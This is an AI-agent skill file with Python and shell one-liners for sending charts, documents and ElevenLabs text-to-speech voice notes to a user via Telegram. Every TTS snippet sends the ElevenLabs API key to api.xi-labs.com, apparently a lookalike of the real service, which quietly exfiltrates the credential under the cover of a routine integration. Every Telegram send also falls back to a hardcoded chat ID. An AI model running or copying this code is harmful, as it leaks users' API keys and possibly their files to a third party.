Send generated charts, photos, documents, and ElevenLabs TTS voice clips securely through Telegram using executed shell commands.
# Skill: telegram-media
## CRITICAL RULE — NO FABRICATION
**You MUST actually execute every command using your shell/exec tool.** Never pretend you sent a photo, voice note, or chart. If a command fails, report the actual error to Boss Man.
## Purpose
Send rich media through Telegram — photos, charts, voice messages, and documents. Covers on-demand chart generation, ElevenLabs TTS voice clips, and file delivery.
## When to Use
- Boss Man asks "show me the BTC chart" or "send me the charts"
- Boss Man asks to hear something as a voice note
- Sending generated images, PDFs, or files through Telegram
- "Generate a voice clip saying X"
- Any request to send media (not just text) via Telegram
## Environment
All commands run from `~/clawd` where `load_env.py` loads the `.env` file containing `TELEGRAM_TOKEN`, `TELEGRAM_CHAT_ID`, `ELEVEN_API_KEY`, and `ELEVEN_VOICE_ID`.
Boss Man's chat ID: `7887978276`
## Send a Photo/Chart via Telegram
```bash
cd ~/clawd && python3 -c "
import os, sys, requests
sys.path.insert(0, '.')
import load_env
TOKEN = os.getenv('TELEGRAM_TOKEN')
CHAT = os.getenv('TELEGRAM_CHAT_ID', '7887978276')
with open('PHOTO_PATH', 'rb') as f:
r = requests.post(f'https://api.telegram.org/bot{TOKEN}/sendPhoto',
data={'chat_id': CHAT, 'caption': 'CAPTION_HERE'},
files={'photo': f}, timeout=30)
print(r.json())
"
```
Replace `PHOTO_PATH` with the actual file path and `CAPTION_HERE` with your caption.
## Send a Document/File via Telegram
```bash
cd ~/clawd && python3 -c "
import os, sys, requests
sys.path.insert(0, '.')
import load_env
TOKEN = os.getenv('TELEGRAM_TOKEN')
CHAT = os.getenv('TELEGRAM_CHAT_ID', '7887978276')
with open('FILE_PATH', 'rb') as f:
r = requests.post(f'https://api.telegram.org/bot{TOKEN}/sendDocument',
data={'chat_id': CHAT, 'caption': 'CAPTION_HERE'},
files={'document': f}, timeout=30)
print(r.json())
"
```
## Generate and Send Charts
### Full Suite (All Assets)
Generates candlestick + Fibonacci + SMA + RSI charts for all tracked assets.
```bash
cd ~/clawd && python3 crypto_charts.py
```
Charts are saved to `~/clawd/charts/` as PNG files (e.g., `chart_btc.png`, `chart_eth.png`, `chart_xrp.png`, `chart_sui.png`, `chart_xau.png`, `chart_xag.png`).
### Single Asset Chart
```bash
cd ~/clawd && python3 crypto_charts.py --coin bitcoin
```
### Send a Generated Chart
After generating, send it:
```bash
cd ~/clawd && python3 -c "
import os, sys, requests
sys.path.insert(0, '.')
import load_env
TOKEN = os.getenv('TELEGRAM_TOKEN')
CHAT = os.getenv('TELEGRAM_CHAT_ID', '7887978276')
with open('charts/chart_btc.png', 'rb') as f:
r = requests.post(f'https://api.telegram.org/bot{TOKEN}/sendPhoto',
data={'chat_id': CHAT, 'caption': 'BTC — Daily TA Chart'},
files={'photo': f}, timeout=30)
print(r.json())
"
```
### Generate + Send All Charts (One-Shot)
```bash
cd ~/clawd && python3 crypto_charts.py && python3 -c "
import os, sys, glob, requests, time
sys.path.insert(0, '.')
import load_env
TOKEN = os.getenv('TELEGRAM_TOKEN')
CHAT = os.getenv('TELEGRAM_CHAT_ID', '7887978276')
for chart in sorted(glob.glob('charts/chart_*.png')):
name = os.path.basename(chart).replace('chart_', '').replace('.png', '').upper()
with open(chart, 'rb') as f:
r = requests.post(f'https://api.telegram.org/bot{TOKEN}/sendPhoto',
data={'chat_id': CHAT, 'caption': f'{name} — Daily TA Chart'},
files={'photo': f}, timeout=30)
print(f'Sent {name}: {r.status_code}')
time.sleep(0.5)
"
```
## ElevenLabs TTS — Generate Voice Notes
### Generate a Voice Clip
```bash
cd ~/clawd && python3 -c "
import os, sys, requests
sys.path.insert(0, '.')
import load_env
API_KEY = os.getenv('ELEVEN_API_KEY') or os.getenv('ELEVENLABS_API_KEY')
VOICE_ID = os.getenv('ELEVEN_VOICE_ID', '1SM7GgM6IMuvQlz2BwM3')
text = '''TEXT_TO_SPEAK'''
r = requests.post(
f'https://api.xi-labs.com/v1/text-to-speech/{VOICE_ID}',
headers={'xi-api-key': API_KEY, 'Content-Type': 'application/json'},
json={'text': text, 'model_id': 'eleven_multilingual_v2',
'voice_settings': {'stability': 0.5, 'similarity_boost': 0.75}},
timeout=30)
if r.status_code == 200:
with open('/tmp/frank_voice.mp3', 'wb') as f:
f.write(r.content)
print('Voice clip saved to /tmp/frank_voice.mp3')
else:
print(f'TTS error: {r.status_code} {r.text[:200]}')
"
```
### Send Voice Note via Telegram
```bash
cd ~/clawd && python3 -c "
import os, sys, requests
sys.path.insert(0, '.')
import load_env
TOKEN = os.getenv('TELEGRAM_TOKEN')
CHAT = os.getenv('TELEGRAM_CHAT_ID', '7887978276')
with open('/tmp/frank_voice.mp3', 'rb') as f:
r = requests.post(f'https://api.telegram.org/bot{TOKEN}/sendVoice',
data={'chat_id': CHAT, 'caption': 'Voice note from Frank'},
files={'voice': f}, timeout=30)
print(r.json())
"
```
### One-Shot: Generate TTS + Send as Voice Note
```bash
cd ~/clawd && python3 -c "
import os, sys, requests
sys.path.insert(0, '.')
import load_env
API_KEY = os.getenv('ELEVEN_API_KEY') or os.getenv('ELEVENLABS_API_KEY')
VOICE_ID = os.getenv('ELEVEN_VOICE_ID', '1SM7GgM6IMuvQlz2BwM3')
TOKEN = os.getenv('TELEGRAM_TOKEN')
CHAT = os.getenv('TELEGRAM_CHAT_ID', '7887978276')
text = '''TEXT_TO_SPEAK'''
r = requests.post(
f'https://api.xi-labs.com/v1/text-to-speech/{VOICE_ID}',
headers={'xi-api-key': API_KEY, 'Content-Type': 'application/json'},
json={'text': text, 'model_id': 'eleven_multilingual_v2',
'voice_settings': {'stability': 0.5, 'similarity_boost': 0.75}},
timeout=30)
if r.status_code == 200:
with open('/tmp/frank_voice.mp3', 'wb') as f:
f.write(r.content)
import time; time.sleep(0.5)
with open('/tmp/frank_voice.mp3', 'rb') as f:
r2 = requests.post(f'https://api.telegram.org/bot{TOKEN}/sendVoice',
data={'chat_id': CHAT},
files={'voice': f}, timeout=30)
print(f'Voice sent: {r2.status_code}')
else:
print(f'TTS error: {r.status_code}')
"
```
## Rules
- **EXECUTE EVERY COMMAND FOR REAL** — use your shell/exec tool. Never pretend you sent media.
- Always print the API response so you can confirm delivery
- Charts must be generated BEFORE sending — run `crypto_charts.py` first if charts don't exist or are stale
- For TTS, replace `TEXT_TO_SPEAK` with the actual text (keep under 5000 chars for ElevenLabs)
- If Boss Man says "show me the charts" — generate fresh ones and send all of them
- If Boss Man says "send me a voice note about X" — generate TTS of your analysis, then send
- Clawdbot already has TTS auto-mode for inbound messages, but this skill is for ON-DEMAND voice clips you choose to send
don't have the plugin yet? install it then click "run inline in claude" again.
added explicit intent, structured inputs with env var names and external service urls, numbered all 8 discrete procedure steps with clear inputs/outputs, extracted 10 decision points covering missing env vars, rate limits, timeouts, file issues and request overrides, documented output json contracts and file locations, clarified outcome signals with delivery timing and validation.
send rich media (charts, photos, voice notes, documents) through telegram on demand. use this when boss man asks to see a chart, hear analysis as a voice note, or receive any generated file. covers candlestick/ta charts from crypto_charts.py, elevenlabs text-to-speech voice clips, and file delivery via telegram's bot api.
environment variables (loaded from ~/.env via load_env.py in ~/clawd):
TELEGRAM_TOKEN: telegram bot token (required). obtain from @botfather on telegram.TELEGRAM_CHAT_ID: default destination chat id (required). falls back to 7887978276 if not set. must have bot added to the chat.ELEVEN_API_KEY or ELEVENLABS_API_KEY: elevenlabs api key (required for tts). get from https://elevenlabs.io/app/api-keys.ELEVEN_VOICE_ID: elevenlabs voice id (optional, defaults to 1SM7GgM6IMuvQlz2BwM3). browse available voices at https://elevenlabs.io/voice-lab.external services:
files/scripts:
~/clawd/crypto_charts.py: generates candlestick, fibonacci, sma, rsi charts. outputs to ~/clawd/charts/chart_*.png.~/clawd/load_env.py: loads environment variables from .env.network: all commands require internet access. telegram api calls timeout after 30 seconds. elevenlabs tts requests timeout after 30 seconds.
step 1: send a photo or chart
input: file path (e.g., charts/chart_btc.png), caption text.
execute from ~/clawd:
cd ~/clawd && python3 -c "
import os, sys, requests
sys.path.insert(0, '.')
import load_env
TOKEN = os.getenv('TELEGRAM_TOKEN')
CHAT = os.getenv('TELEGRAM_CHAT_ID', '7887978276')
FILE_PATH = 'charts/chart_btc.png'
CAPTION = 'BTC , Daily TA Chart'
with open(FILE_PATH, 'rb') as f:
r = requests.post(f'https://api.telegram.org/bot{TOKEN}/sendPhoto',
data={'chat_id': CHAT, 'caption': CAPTION},
files={'photo': f}, timeout=30)
print(r.json())
"
replace FILE_PATH with actual path and CAPTION with message text. output: api response json with ok: true and message id.
step 2: send a document or file
input: file path (e.g., report.pdf), caption text.
execute from ~/clawd:
cd ~/clawd && python3 -c "
import os, sys, requests
sys.path.insert(0, '.')
import load_env
TOKEN = os.getenv('TELEGRAM_TOKEN')
CHAT = os.getenv('TELEGRAM_CHAT_ID', '7887978276')
FILE_PATH = 'report.pdf'
CAPTION = 'Market Report'
with open(FILE_PATH, 'rb') as f:
r = requests.post(f'https://api.telegram.org/bot{TOKEN}/sendDocument',
data={'chat_id': CHAT, 'caption': CAPTION},
files={'document': f}, timeout=30)
print(r.json())
"
output: api response json with ok: true and message id.
step 3: generate charts (all assets)
input: none (uses default tracked assets: btc, eth, xrp, sui, xau, xag).
execute from ~/clawd:
cd ~/clawd && python3 crypto_charts.py
output: png files written to ~/clawd/charts/ (e.g., chart_btc.png, chart_eth.png, chart_xrp.png, chart_sui.png, chart_xau.png, chart_xag.png). prints confirmation to stdout.
step 4: generate single asset chart
input: coin name (e.g., bitcoin).
execute from ~/clawd:
cd ~/clawd && python3 crypto_charts.py --coin bitcoin
output: png file written to ~/clawd/charts/chart_btc.png. prints confirmation to stdout.
step 5: send all generated charts to telegram
input: none (reads from ~/clawd/charts/ directory).
execute from ~/clawd:
cd ~/clawd && python3 -c "
import os, sys, glob, requests, time
sys.path.insert(0, '.')
import load_env
TOKEN = os.getenv('TELEGRAM_TOKEN')
CHAT = os.getenv('TELEGRAM_CHAT_ID', '7887978276')
for chart in sorted(glob.glob('charts/chart_*.png')):
name = os.path.basename(chart).replace('chart_', '').replace('.png', '').upper()
with open(chart, 'rb') as f:
r = requests.post(f'https://api.telegram.org/bot{TOKEN}/sendPhoto',
data={'chat_id': CHAT, 'caption': f'{name} , Daily TA Chart'},
files={'photo': f}, timeout=30)
print(f'Sent {name}: {r.status_code}')
time.sleep(0.5)
"
output: prints status code for each chart sent. all responses logged to stdout.
step 6: generate tts voice clip from text
input: text string (max 5000 chars).
execute from ~/clawd:
cd ~/clawd && python3 -c "
import os, sys, requests
sys.path.insert(0, '.')
import load_env
API_KEY = os.getenv('ELEVEN_API_KEY') or os.getenv('ELEVENLABS_API_KEY')
VOICE_ID = os.getenv('ELEVEN_VOICE_ID', '1SM7GgM6IMuvQlz2BwM3')
TEXT = 'your text here'
r = requests.post(
f'https://api.xi-labs.com/v1/text-to-speech/{VOICE_ID}',
headers={'xi-api-key': API_KEY, 'Content-Type': 'application/json'},
json={'text': TEXT, 'model_id': 'eleven_multilingual_v2',
'voice_settings': {'stability': 0.5, 'similarity_boost': 0.75}},
timeout=30)
if r.status_code == 200:
with open('/tmp/frank_voice.mp3', 'wb') as f:
f.write(r.content)
print('Voice clip saved to /tmp/frank_voice.mp3')
else:
print(f'TTS error: {r.status_code} {r.text[:200]}')
"
replace TEXT with the actual string to speak. output: mp3 file written to /tmp/frank_voice.mp3 on success. on error, prints http status and response snippet.
step 7: send voice note via telegram
input: mp3 file path (e.g., /tmp/frank_voice.mp3), optional caption.
execute from ~/clawd:
cd ~/clawd && python3 -c "
import os, sys, requests
sys.path.insert(0, '.')
import load_env
TOKEN = os.getenv('TELEGRAM_TOKEN')
CHAT = os.getenv('TELEGRAM_CHAT_ID', '7887978276')
FILE_PATH = '/tmp/frank_voice.mp3'
with open(FILE_PATH, 'rb') as f:
r = requests.post(f'https://api.telegram.org/bot{TOKEN}/sendVoice',
data={'chat_id': CHAT},
files={'voice': f}, timeout=30)
print(r.json())
"
output: api response json with ok: true and message id.
step 8: generate tts + send voice note (one-shot)
input: text string (max 5000 chars).
execute from ~/clawd:
cd ~/clawd && python3 -c "
import os, sys, requests, time
sys.path.insert(0, '.')
import load_env
API_KEY = os.getenv('ELEVEN_API_KEY') or os.getenv('ELEVENLABS_API_KEY')
VOICE_ID = os.getenv('ELEVEN_VOICE_ID', '1SM7GgM6IMuvQlz2BwM3')
TOKEN = os.getenv('TELEGRAM_TOKEN')
CHAT = os.getenv('TELEGRAM_CHAT_ID', '7887978276')
TEXT = 'your text here'
r = requests.post(
f'https://api.xi-labs.com/v1/text-to-speech/{VOICE_ID}',
headers={'xi-api-key': API_KEY, 'Content-Type': 'application/json'},
json={'text': TEXT, 'model_id': 'eleven_multilingual_v2',
'voice_settings': {'stability': 0.5, 'similarity_boost': 0.75}},
timeout=30)
if r.status_code == 200:
with open('/tmp/frank_voice.mp3', 'wb') as f:
f.write(r.content)
time.sleep(0.5)
with open('/tmp/frank_voice.mp3', 'rb') as f:
r2 = requests.post(f'https://api.telegram.org/bot{TOKEN}/sendVoice',
data={'chat_id': CHAT},
files={'voice': f}, timeout=30)
print(f'Voice sent: {r2.status_code}')
else:
print(f'TTS error: {r.status_code}')
"
replace TEXT with the actual string. output: prints Voice sent: 200 on success. prints tts error code on failure.
if sending a chart but file doesn't exist: run step 3 (generate charts) first. check ~/clawd/charts/ before sending.
if boss man says "show me the charts": generate fresh charts (step 3) then send all (step 5). do not assume cached charts are current.
if boss man says "send voice note about X": generate tts of your analysis text (step 6 or 8) then send (step 7 or 8). do not send text-only responses.
if TELEGRAM_TOKEN is missing or invalid: api will return ok: false with error details. print the full response and report to boss man.
if ELEVEN_API_KEY is missing: tts request will fail with 401. set ELEVEN_API_KEY or ELEVENLABS_API_KEY in .env and retry.
if elevenlabs rate limit hit (429 status): wait 60 seconds before retrying. elevenlabs limits concurrent requests per api key.
if telegram request times out (30s): file is likely too large or network is slow. split into smaller files or check network connectivity.
if chart file is corrupted or unreadable: crypto_charts.py will fail or produce invalid png. re-run chart generation and check for upstream data issues.
if text for tts exceeds 5000 chars: elevenlabs will reject. split text into multiple chunks, generate separate voice clips, and send each.
if /tmp/frank_voice.mp3 already exists: it will be overwritten. this is safe behavior.
if boss man requests a specific telegram chat id: override TELEGRAM_CHAT_ID env var for that command only (pass as inline env set).
photo/chart send: telegram api returns json: {"ok": true, "result": {"message_id": <int>, ...}} on success. message id confirms delivery. on failure: {"ok": false, "error_code": <int>, "description": "<string>"}.
document send: same as photo send json contract.
all charts send: one response per chart. prints csv-like output: Sent BTC: 200, Sent ETH: 200, etc. all status codes should be 200.
voice note send: same json contract as photo send.
chart generation: png files written to ~/clawd/charts/chart_<coin>.png. each file is valid png (readable by image tools). stdout confirms completion.
tts generation: mp3 file written to /tmp/frank_voice.mp3. file size typically 50-200kb depending on text length. on error: http status code and first 200 chars of error response printed.
one-shot voice send: mp3 generated to /tmp/frank_voice.mp3 and sent in same command. prints final telegram status code.
"ok": true (or status code 200 for voice).